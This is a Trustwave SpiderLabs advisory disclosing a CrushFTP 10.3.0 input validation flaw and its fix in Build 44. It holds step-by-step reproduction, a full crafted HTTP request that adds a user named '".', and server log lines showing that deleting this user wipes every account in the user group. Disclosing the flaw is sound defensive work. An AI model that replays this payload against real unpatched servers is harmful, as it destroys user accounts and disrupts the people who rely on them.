Trustwave SpiderLabs Security Advisory TWSL2023-002: Input validation Vulnerability in CRUSHFTP Published: 02/02/2023 Version: 1.0 Vendor: CRUSHFTP (https://www.crushftp.com/) Product: CrushFTP Version affected: 10.3.0 Build : 34 Product description: CrushFTP is a powerful file server supporting standard secure file transfer protocols. Finding 1: Weak Input Validation *****Credit: Jean Calvin Mugabo of Trustwave CWE-20: Improper Input Validation CrushFTP is vulnerable to a weak input validation issue which results in all users being removed. 1. Login to the application using an administrator account. 2. Click the "Admin" button to navigate to the "Administration" dashboard. 3. Click the "User Manager" button to manage users and user groups. 4. On the top left corner click the "Add" button and add ". as username. Add user HTTP Request ---------------------- POST /WebInterface/function/ HTTP/1.1 Host: localhost Cookie: currentAuth=PVxJ; CrushAuth=1667745234948_v0Hwcjt16PHmvad8QAyJcTfbOIPVxJ User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 916 Origin: https://localhost Referer: https://localhost/WebInterface/UserManager/index.html Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close command=setUserItem&data_action=new&serverGroup=MainUsers&username=%22.&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Ccreated_by_username%3Ecrushadmin%3C%2Fcreated_by_username%3E%3Ccreated_by_email%3Eadmin%40gmail.com%3C%2Fcreated_by_email%3E%3Ccreated_time%3E11062022093556%3C%2Fcreated_time%3E%3Cusername%3E%26quot%3B.%3C%2Fusername%3E%3Cpassword%3Epassword%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3Cconfigure_reverse_share_events%3Etrue%3C%2Fconfigure_reverse_share_events%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22vector%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cpermissions+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%3C%2Fpermissions%3E&c2f=PVxJ 5. On the left corner, right click on the user named ". 6. Select Users. 7. Click Delete Selected user and click Yes. When this particular user is selected to be deleted the . in the username is parsed directly to the filesystem without sanitization and taken to mean part of the path. The below lines show commands sent to the server when the delete button is clicked. SERVER|11/09/2022 01:49:22.422|SETTINGS:users/MainUsers/" delete SERVER|11/09/2022 01:49:22.431|SETTINGS:users/MainUsers/. delete 8. The above command will delete all users under MainUsers directory. *********************************************************** Remediation Steps: Upgrade to CrushFTP 10.3.0 Build 44 or later Revision History: 11/09/2022 - Disclosed to internal advisory team 11/11/2022 - Disclosed to vendor 11/15/2022 - Vendor reports previous fix released 10/21/2022 did not cover all scenarios 11/15/2022 - Vendor patched for all scenarios 11/18/2022 - Fix validated in CrushFTP 10.3.0 Build 44 02/02/2023 - Advisory published About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.